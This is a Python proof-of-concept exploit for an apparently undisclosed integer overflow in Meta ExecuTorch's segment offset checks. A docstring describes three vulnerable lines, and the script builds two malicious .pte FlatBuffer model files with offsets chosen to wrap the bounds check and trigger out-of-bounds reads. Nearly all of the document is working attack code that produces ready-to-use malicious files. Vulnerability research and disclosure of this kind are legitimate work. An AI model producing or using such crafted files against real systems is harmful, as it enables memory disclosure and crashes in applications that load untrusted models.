| |
| """ |
| PoC: Unsigned Integer Overflow in Segment Offset Calculations — Meta ExecuTorch |
| ================================================================================ |
| CVE: N/A (0-day) |
| Target: executorch/runtime/executor/program.cpp (line 592, 609) |
| executorch/runtime/executor/pte_data_map.cpp (line 58) |
| Severity: High (Out-of-Bounds Read via Bounds Check Bypass) |
| |
| VULNERABILITY SUMMARY: |
| Multiple functions in the ExecuTorch runtime perform unchecked arithmetic |
| on segment offsets before using the result to load data. These offsets |
| are read from the .pte FlatBuffer file and are fully attacker-controlled. |
| |
| BUG 1 — program.cpp:592 (bounds check bypass): |
| if (offset + size > segment->size()) { // offset + size WRAPS to small value |
| return Error::InvalidArgument; // check passes incorrectly! |
| } |
| |
| BUG 2 — program.cpp:609 (triple addition overflow): |
| return loader_->load( |
| segment_base_offset_ + segment->offset() + offset, ...); |
| |
| BUG 3 — pte_data_map.cpp:58 (double addition overflow): |
| return loader_->load( |
| segment_base_offset_ + segment_offset, segment_size, ...); |
| |
| This script generates .pte files demonstrating both overflow vectors. |
| Requires: pip install flatbuffers |
| """ |
|
|
| import struct |
| import sys |
| import os |
| import flatbuffers |
|
|
| FILE_IDENTIFIER = b"ET12" |
| KERNEL_TYPE_INT = 2 |
|
|
| def build_segment_overflow_pte(output_path, segment_offset, segment_size): |
| builder = flatbuffers.Builder(2048) |
|
|
| builder.StartObject(1) |
| builder.PrependInt64Slot(0, 0, 0) |
| int_offset = builder.EndObject() |
|
|
| builder.StartObject(2) |
| builder.PrependUint8Slot(0, KERNEL_TYPE_INT, 0) |
| builder.PrependUOffsetTRelativeSlot(1, int_offset, 0) |
| evalue_offset = builder.EndObject() |
|
|
| builder.StartVector(4, 1, 4) |
| builder.PrependUOffsetTRelative(evalue_offset) |
| values_vec = builder.EndVector() |
|
|
| builder.StartVector(4, 1, 4) |
| builder.PrependInt32(0) |
| inputs_vec = builder.EndVector() |
|
|
| builder.StartVector(4, 1, 4) |
| builder.PrependInt32(0) |
| outputs_vec = builder.EndVector() |
|
|
| builder.StartVector(8, 1, 8) |
| builder.PrependInt64(0) |
| non_const_vec = builder.EndVector() |
|
|
| name_str = builder.CreateString("forward") |
|
|
| builder.StartObject(9) |
| builder.PrependUOffsetTRelativeSlot(0, name_str, 0) |
| builder.PrependUOffsetTRelativeSlot(2, values_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(3, inputs_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(4, outputs_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(8, non_const_vec, 0) |
| exec_plan_offset = builder.EndObject() |
|
|
| builder.StartVector(4, 1, 4) |
| builder.PrependUOffsetTRelative(exec_plan_offset) |
| exec_plan_vec = builder.EndVector() |
|
|
| builder.StartObject(2) |
| builder.PrependUint64Slot(0, segment_offset, 0) |
| builder.PrependUint64Slot(1, segment_size, 0) |
| segment_entry = builder.EndObject() |
|
|
| builder.StartVector(4, 1, 4) |
| builder.PrependUOffsetTRelative(segment_entry) |
| segments_vec = builder.EndVector() |
|
|
| builder.StartVector(8, 1, 8) |
| builder.PrependUint64(0) |
| offsets_vec = builder.EndVector() |
|
|
| builder.StartObject(2) |
| builder.PrependUint32Slot(0, 0, 0) |
| builder.PrependUOffsetTRelativeSlot(1, offsets_vec, 0) |
| const_segment = builder.EndObject() |
|
|
| builder.StartObject(8) |
| builder.PrependUint32Slot(0, 0, 0) |
| builder.PrependUOffsetTRelativeSlot(1, exec_plan_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(4, segments_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(5, const_segment, 0) |
| program_offset = builder.EndObject() |
|
|
| builder.Finish(program_offset, file_identifier=FILE_IDENTIFIER) |
| buf = bytes(builder.Output()) |
|
|
| with open(output_path, "wb") as f: |
| f.write(buf) |
| return buf |
|
|
| def main(): |
| print("PoC: Segment Offset Overflow in Meta ExecuTorch") |
| UINT64_MAX = (1 << 64) - 1 |
|
|
| |
| seg_offset = 0xFFFFFFFFFFFF0000 |
| seg_size = 0x0000000000020000 |
| buf1 = build_segment_overflow_pte("malicious_segment_bypass.pte", seg_offset, seg_size) |
| print(f"Generated: malicious_segment_bypass.pte ({len(buf1)} bytes)") |
|
|
| |
| assumed_base = 4096 |
| seg_offset2 = (0 - assumed_base) % (1 << 64) |
| buf2 = build_segment_overflow_pte("malicious_segment_triple.pte", seg_offset2, 0x1000) |
| print(f"Generated: malicious_segment_triple.pte ({len(buf2)} bytes)") |
|
|
| |
| for path in ["malicious_segment_bypass.pte", "malicious_segment_triple.pte"]: |
| with open(path, "rb") as f: |
| data = bytearray(f.read()) |
| assert data[4:8] == FILE_IDENTIFIER |
| print(f" {path}: Valid ET12 FlatBuffer ({len(data)} bytes)") |
|
|
| if __name__ == "__main__": |
| main() |
|
|